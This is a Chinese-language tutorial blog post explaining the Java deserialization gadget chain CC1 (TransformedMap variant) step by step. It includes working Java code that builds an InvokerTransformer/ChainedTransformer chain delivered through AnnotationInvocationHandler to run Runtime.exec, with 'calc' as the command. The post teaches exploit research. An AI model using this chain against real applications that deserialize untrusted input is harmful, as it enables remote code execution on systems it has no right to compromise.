反序列化漏洞Java篇—CC1

admin 2024年7月31日16:11:22评论13 views字数 8685阅读28分57秒阅读模式

前言

学java反序列化,怎么能少了对每条链的理解呢?本篇我们主要是选择CC1中的其中一条链TransformedMap进行手搓。

漏洞触发点

CC1一共是有两条:一条是Lazymap,一条是TransformedMap,我们先来看看TransformedMap这一条

反序列化漏洞Java篇—CC1

整个漏洞的触发点就是在这里,可以看到在InvokerTransformer.transform中可以利用反射调用任意方法。而其中的参数iMethodName、 iParamTypes、iArgs都是变量,是通过InvokerTransformer的构造方法传入的。很大可能是我们可以直接控制的。
然后我们可以利用这个点来进行反射调用Runtime中的exec从而进行命令执行。很明显这里是利用反射来进行调用的。那我们先简单的写一个正常的利用反射来调用Runtime:
//获取Runtime的classClass c = Runtime.class;//获取getRuntime方法Method getRuntime = c.getMethod("getRuntime");//获取Runtime对象Object runtime = (Runtime) getRuntime.invoke(null);//获取exec方法Method exec = c.getMethod("exec", String.class);//调用exec方法exec.invoke(runtime,"calc");/*  Java反射如果不清楚的同学可以先去学习一下Java反射然后再来学习,要不然从头懵到尾,看了等于没看。    还有因为我们最终的目的是将数据反序列化,这里的命令执行时我们要反序列化触发的点,所以我们需要找一个可以反序列化的类,而Runtime对象本身时不支持反序列化的,所以我们找到了Runtime的class*/
我们利用反射调用了Runtime中的exec,这正和我们的链条触发点吻合,那么我们可不可以用漏洞触发点的方式再反射一边:
new InvokerTransformer("方法名"new Class[]{方法参数类型}, new Object[]{方法参数}).transform(Object);//可以看到,我们可以通过实例化InvokerTransformer,将参数传入,再调用他的transform方法并给transform传入对应的对象。//下面我将上面写的反射注释掉,并把他们对应的触发点利用方式附上。 //     Class c = Runtime.class; //     Method getRuntime = c.getMethod("getRuntime");        Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); //     Object runtime = (Runtime) getRuntime.invoke(null);        Object runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime); //     Method exec = c.getMethod("exec", String.class); //     exec.invoke(runtime,"calc");        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);//重点记住最后一个,因为最后一个是直接触发RCE的代码,后续我们也会用到
流程分析

很简单的就将对应的触发点反射写了出来,那光写出来不行啊,怎么用呢?我们接着看谁调用了InvokerTransformer中的transform:

反序列化漏洞Java篇—CC1

可以看到这里有很多,我们选择TransformedMap中的checkSetValue调用了InvokerTransformer中的transform,我们先看看checkSetValue中的参数分别是什么,来到TransformedMap的构造方法:

反序列化漏洞Java篇—CC1

这里其实是实现装饰HashMap的,但是他的构造方法是protected,也就是说我们没有办法直接调用,只能是通过他内部调用。他的功能就是接收一个map进来,对他的key和value进行一些操作。我们看到checkSetValue中的valueTransforme就是通过这个构造方法传入的。

那么好,我们再看看谁调用了这个TransformedMap,最后发现再TransformedMap中还有一个静态方法decorate调用了TransformedMap:

反序列化漏洞Java篇—CC1

那么我们直接从这里开始结合之前写的InvokerTransformer调用exec来先写一下利用链:

........此处省略为上面的反射代码。//利用InvokerTransformer中的transform调用命令执行InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);//创建一个HashMapHashMap<Object, Object> HM = new HashMap<>();//添加到Map中HM.put("test","test");//调用装饰map       Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);/*解释:    首先我们需要创建一个Map来进行装饰,给Map中放置任意的值。我们的目的是通过调用decorte从而去调用TransformedMap的构造方法再调用到他的ChecksetValue方法最后调用我们的触发点InvokerTransformer中的transform方法,可能有点多,但是梳理一下还是很简单的。正向理解:    我把具体传值的调用执行情况正向写一下,因为我们一直是反向分析正向写出来大家可能会比较好理解:    首先传入:    Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);    接下来会来到:    public static decorate(HM,null,invokerTransformer){        return new TransformedMap(HM,null,invokerTransformer);    }    调用构造方法:     protected TransformedMap(HM, null, invokerTransformer) {        super(HM);        this.keyTransformer = null;        this.valueTransformer = invokerTransformer;    }    调用ChecksetValue:        protected Object checkSetValue(runtime) {        return invokerTransformer.transform(runtime);    }    这样看是不是瞬间就清晰很多*/

上面我们只是分析了checkSetValue的赋值情况,且这上述的三个方法是在同一个类当中的,并没有考虑到链条的问题,那么我们接下来再看链条问题,看一下谁调用了这个checkSetValue:

反序列化漏洞Java篇—CC1

反序列化漏洞Java篇—CC1

可以看到在AbstractInputCheckedMapDecorator中的MapEntry中的setValue调用了checkSetValue。

我们可以看到这里其实就是遍历Map的一个方法,但是想要触发setValue就必须遍历被装饰过的Map,也就是我们上面写的Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);,既然来到了链条的下一部分,那么我们就需要反向写一下他的利用链:

//创建一个HashMapHashMap<Object, Object> HM = new HashMap<>();//添加到Map中HM.put("test","test");//调用装饰map       Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);//遍历被修饰过的mapfor(Map.Entry entry:transformedmap.entrySet()){    entry.setValue(runtime);}/*重点!!!!!这里可能很多人已经乱了,没关系,我有解释,不要急看不懂多看几遍。解释:    先解释一些这个增强佛如循环,在每次迭代时将transformedmap.entrySet()赋值给entry变量    Map.Entry:Entry是Map接口中的内部接口,表示Map的一对键和值。    entry:这是循环变量,用于遍历transformedmap中的条目    transformedmap:是我们传入的Map对象    entry.setValue(runtime):是将当前的value设置为runtime对象。    总结:目的是遍历transfirmedmap,并将value设置为runtime对象。正向理解调用链:    首先我们调用Entry并传入transformedmap进行遍历:        public Object setValue(runtime) {            value = transformedmap.checkSetValue(runtime);            return entry.setValue(value);        }    由于里面调用了transformedmap.checkSetValue:        protected Object checkSetValue(runtime) {            return invokerTransformer.transform(runtime);        }    最后会来到漏洞利用点:    public Object transform(runtime) {        if (input == null) {            return null;        }        try {            Class cls = runtime.getClass();            Method method = cls.getMethod(“exec”, String.class);            return method.invoke(runtime, "calc");*/

所以接下来我们要找谁遍历了transformedmap且同时调用了setValue,因为只有在遍历transformedmap时调用setValue才能将transformedmap传入从而触发我们的利用链。或许你会问了,这样一直找得找到什么时候?而且找到哪里才算结束?

goodquestion!!!我们并不是无厘头的在找调用链,我们只是在找调用链的过程中去寻找谁使用了readObject方法(也就是我们的入口点)所以只有我们最终找到谁不仅在链上,而且还使用了readObject才会到达链条的终点。那我们接着看谁遍历了transformedmap且调用了setValue:

反序列化漏洞Java篇—CC1

反序列化漏洞Java篇—CC1这不是我们心心念念的终点吗!!!!(在readObject里遍历且调用了setValue)

这个类名很明显是动态代理过程中那个调用处理器类,老样子先看构造方法:

反序列化漏洞Java篇—CC1

他接收两个参数,首先第一个type是一个继承了Annotation的Class,这个Annotation是注解,这个注解我的理解就是带@符号的类。第二个memberValues是一个Map,而且这个Map是我们可以完全控制的。那我们就可以把设计好的transformedmap传进去。

现实是美好的,在这之中还有几个小问题:

  1. 这个AnnotationInvocationHandler的构造方法的权限修饰符是没写的,没写默认default所以这里需要反射调用。
  2. 我们看到在正式调用setValue之前还有两个if判断,所以我们需要进行绕过。
  3. 还有一个小问题就是我们没有办法直接传入Runtime这个对象,因为他是不允许反序列化的,但是Runtime.class是可以的,这个我们在之前第一步反射调用exec的时候已经处理过了,但是还需要注意。
  4. 我们注意到setValue的参数并不是我们想象中的那么完美
所以我们需要解决上面这些问题才能真正的打通这条链,下面是解决问题的思路和代码:

解决第一个问题:

//第一个问题,反射调用    //因为是default,所以要通过全类名获取    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");    //获取构造方法    Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);    //确保获取    annotationInvocationdhdlConstructor.setAccessible(true);    //传入参数    Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);

这里详细解释一下传入的两个参数,先说第二个吧,第二个参数是我们上面已经构造好的transformedmap。第一个参数呢,是我们上面提到的注解,这里贴张图吧,这里主要找带有参数的注解,方便我们解决第二个问题

反序列化漏洞Java篇—CC1

解决第二个问题

两个if语句通过接收我们传入的第一个参数和我们Map中的key来进行判断,具体逻辑是:

第一个if判断传入key是否为空。

第二个if判断两个参数是否可以强转。

Objecto = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);//member问题       HashMap<Object, Object> map = new HashMap<>();       map.put("value","value");       Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);       Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");       Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);       annotationInvocationdhdlConstructor.setAccessible(true);       Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);

因为我用的是@Target,我的map中key的值为value,他和@target中的参数是相同的都是value。所以两个if也解决了

解决第三个问题

其实第三个问题我们已经在刚开始都已经解决了,这里再提一下的原因是因为在他的方法中有一个可以遍历invokerTransformer,这样我们就不用像套娃一样的套了。

反序列化漏洞Java篇—CC1

他接收一个transformers的一个数组,然后递归调用整个数组,所以我们可以这样写:

//创建transformers数组Transformer[] transformers = new Transformer[]{    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})        };//传入transformers数组ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//调用chainedTransformer.transform(),其实总共这里我们控制的变量只有这个chainedTransformer.transform()中的参数值。chainedTransformer.transform(Runtime.class);

解决第四个问题

反序列化漏洞Java篇—CC1

我们先跟进一下setValue看看他内部到底是怎么样实现的:

反序列化漏洞Java篇—CC1

看到这里有没有一种熟悉的赶脚,再次跟进:

反序列化漏洞Java篇—CC1

我们发现他最后这里调用了我们传入的chainedTransformer,也就是我们第三个问题当中的chainedTransformer,我换一种写法:

其实这里的    valueTransformer.transform(value);  就是我们     chainedTransformer.transform(Runtime.class);

那么我们只需要保证给 chainedTransformer.transform()传入的参数是Runtime.class即可。

但是这里是我们发现了一个非常有特点的函数就是ConstantTransformer.transform:

反序列化漏洞Java篇—CC1

他的作用就是将input对象转换为一个值,并返回这个值。

虽然最后的那个点我们控制不了,但是如果我们通过chainedTransformer.transform();去调用他的transform那么我们也可以将整条链串起来。

//解释://这里可能有些人会乱,我知道你很乱,但是你先别乱,看完这段解释可能会帮助你理解//首先我们跟进到readObject当中的setValue当中。//我们发现实际最后实现的代码是:valueTransformer.transform(value); //但是这个valueTransformer.transform(value); 中的valueTransformer是我们的chainedTransformer,所以也就是说我们可以通过这个chainedTransformer去调用ConstantTransformer的transform,从而让ConstantTransformer的transform去获取Runtime.class,不就行了吗?之后就是一系列的串,看代码:Transformer[] transformers = new Transformer[]{    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//看到这你会发现原来CC1是如此的简单
调用链:AnnotationInvocationHandler.readObject()   *Map(Proxy).entrySet()        *AnnotationInvocationHandler.invoke()            LazyMap.get()/TransformedMap.setValue()                ChainedTransformer.transform()                    ConstantTransformer.transform()                        InvokerTransformer.transform()

原文始发于微信公众号(好好学Day):反序列化漏洞Java篇—CC1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月31日16:11:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化漏洞Java篇—CC1https://cn-sec.com/archives/2994494.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息